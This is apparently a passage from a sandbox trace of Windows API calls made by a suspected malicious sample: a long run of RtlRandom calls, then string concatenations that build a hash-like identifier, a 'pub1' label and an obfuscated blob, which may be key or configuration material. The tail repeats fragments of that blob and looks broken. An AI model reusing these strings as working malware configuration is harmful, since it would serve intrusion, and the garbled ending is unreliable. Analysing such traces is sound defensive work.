Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xd0ec46cc [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x623ab391 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xc16a5406 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xcf4dcf5c [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x33861e50 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x7ecd0f44 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xc890a774 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x4a5049f4 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xa4c7b820 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x9982ad05 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x3889b0a0 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x4757ff1a [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xb79c6de5 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xee53137a [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xbf98ec5e [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x35de576d [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xe6f5e757 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x8b308046 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x3453426c [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xf8d8575e [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x8e83a40f [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x3d84be91 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x6767d471 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x3db8792 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x7d802330 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xa9daa8a9 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x6d496fd0 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x5faf0c82 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x840f3b03 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x59c6d3d6 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xad07191d [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x2329ac7e [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xbad58e08 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xf3d3b2b [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xd7fe8d68 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x3b14f1bc [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x729b93d9 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xb7d5070e [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xa785e899 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x6af0f875 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xf63194f3 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xbdfaedc3 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xefdea656 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xbbba0ede [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xc5c7fd98 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x8fffbd50 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x2f380fc5 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x2622755e [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xde564b15 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xc50ee262 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x788d3875 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xa16ed22 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xdd5f6d4f [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xb84fa9a5 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xc95cfac [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xe8c67e4d [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x13903ab0 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x7150e7c6 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xf3773a4d [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x5d929e [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x6989abef [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xf9eae61a [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x416b4eac [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xe3bdf752 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xab171548 [0296.887] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xbcc9e2ea [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x8b8c00c2 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x9cb7ba56 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x73c6245d [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x33c5a272 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x3262dbeb [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xf93c1df6 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xcb51072d [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x2bc761a8 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x49bd59ef [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xcf40a505 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x11c3b3bf [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x52baf595 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x4ddc455b [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x7a3d51b [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x32fe8325 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x9b4b45bb [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x37ea7c46 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xccac01c7 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xb06ae71d [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x87d6fa87 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x55a8057e [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x1498dcc0 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xc396579 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x7e2511c8 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x2430af31 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xb5d1fa11 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xacbd248e [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x8d2c3df2 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xcdbc508f [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xe5b6db95 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x935c4b90 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x40efc3c [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x1770268c [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xf73de659 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xc20c2289 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x962ab948 [0296.888] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x648045b [0296.889] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x4086f4fc [0296.889] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x7ab0a964 [0296.889] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x8313b3b [0296.889] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xf0a77643 [0296.889] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xef35d638 [0296.889] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xc9c3da77 [0296.889] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x3322964a [0296.889] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x290eb618 [0296.889] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xf377cc05 [0296.889] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x12d) returned 0x8871960 [0296.889] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0296.889] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0296.889] lstrcatA (in: lpString1="", lpString2="pub1" | out: lpString1="pub1") returned="pub1" [0296.889] lstrcatA (in: lpString1="", lpString2="=LThPN*8`)G\\kva@8#0elVAoK9hY)yDdx&q()/v7)7RBGdh'CTGeeB!;_/Qn^y[]DL_q+B2!H8Xg,MzL@=\")7UC\\q5_TaNUB:hgf/[0M=+9-EuJCCniy6.I9]P`6)cpc7z7*kuj9=BKXT,@euEsl=>+zQfZ?$772U(C#+#9);F/P/T-bTZPdbdr3r2\\u/rS8xM)@zG!=

+zQfZ?$772U(C#+#9);F/P/T-bTZPdbdr3r2\\u/rS8xM)@zG!=

+zQfZ?$772U(C#+#9);F/P/T-bTZPdbdr3r2\\u/rS8xM)@zG!=

#Ya`A<2j*V:iR]-m`#Ya`A<2j*V:iR]-m`#Ya`A<2j*V:iR]-m`